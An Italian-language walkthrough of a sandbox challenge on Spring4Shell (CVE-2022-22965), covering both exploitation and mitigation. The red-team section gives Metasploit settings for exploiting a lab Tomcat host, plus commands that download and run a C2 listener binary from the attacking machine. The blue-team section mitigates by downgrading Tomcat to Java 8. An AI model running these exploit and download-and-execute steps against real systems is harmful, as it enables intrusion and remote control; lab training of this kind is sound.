felisha-elmer/sandbox-challenge-spring4shell-cve-2022-22965-Passo-passo sullo sfruttamento di CVE-2022-22965 (Spring4Shell) con Metasploit, implementazione di un listener C2 e mitigazione della vulnerabilità effettuando il downgrade a Java 8 su un server Tomcat.
Questa guida documenta il completamento della Sandbox Challenge incentrata su CVE-2022-22965, comunemente nota come Spring4Shell — una vulnerabilità critica (CVSS 9.8/10) di esecuzione remota di codice che interessa versioni specifiche del framework Java Spring. La sfida copre sia le prospettive offensive (red team) che difensive (blue team) della vulnerabilità.
Nota: I comandi e i percorsi dei file in questa guida riflettono l'ambiente specifico utilizzato durante questo tentativo. Il tuo ambiente potrebbe differire — adatta percorsi, indirizzi IP e nomi di file di conseguenza.
| Macchina | Indirizzo IP | Ruolo |
|---|---|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | Macchina di attacco e lavoro |
| Red Target (Linux) | 172.16.100.90 | Target di sfruttamento |
| Blue Target (Linux) | 172.16.100.100 | Target di hardening |
Credenziali: playerone / password123
Ho esaminato la scheda Network Map nel pannello della sfida per confermare l'IP del Red Target (172.16.100.90). Ho usato curl per ispezionare l'applicazione web in esecuzione sulla porta 80:
curl http://172.16.100.90
L'output ha rivelato Apache Tomcat 9.0.59 con un reindirizzamento a /dasmsp. Ho esplorato il codice sorgente della pagina per identificare un endpoint di modulo POST su /dasmsp/contact.
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
L'exploit ha generato con successo una shell JSP, ha modificato il class loader, ha svuotato il file di log e ha aperto una sessione di shell di comando sul Red Target.
Dopo che la sessione è stata aperta, ho digitato shell per passare a una shell interattiva. Metasploit ha individuato /usr/bin/script sul target e lo ha usato per aprire una shell interattiva come utente tomcat.
Il binario deploy_c2 si trovava sul Security-Desk, non sul Red Target. L'ho ospitato tramite un server HTTP Python3 sul Security-Desk:
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
L'ho scaricato ed eseguito dalla sessione shell del Red Target:
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
L'output ha confermato: Done! — listener C2 distribuito con successo sul Red Target.
Dal terminale del Security-Desk:
ssh [email protected]
Password: password123
I pacchetti .deb di Java 8 si trovavano sul Security-Desk in /home/playerone/Desktop/Resources/. Li ho trasferiti al Blue Target usando SCP da un terminale del Security-Desk:
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
Pacchetti trasferiti:
Nella sessione SSH sul Blue Target:
sudo dpkg -i /tmp/*.deb
A causa di un problema noto della sfida, il controllo non viene registrato correttamente senza impostare manualmente Java 8 come predefinito:
sudo update-alternatives --config java
Selezionata l'opzione 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java.
Ho ispezionato il file unit del servizio Tomcat:
cat /etc/systemd/system/tomcat.service
Ho modificato il file per aggiornare la variabile d'ambiente JAVA_HOME:
sudo nano /etc/systemd/system/tomcat.service
Da:
Environment="JAVA_HOME=/usr"
A:
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
Il controllo CVE-2022-22965 Mitigated on Blue Target è diventato verde nel pannello della sfida.
spring_framework_rce_spring4shell)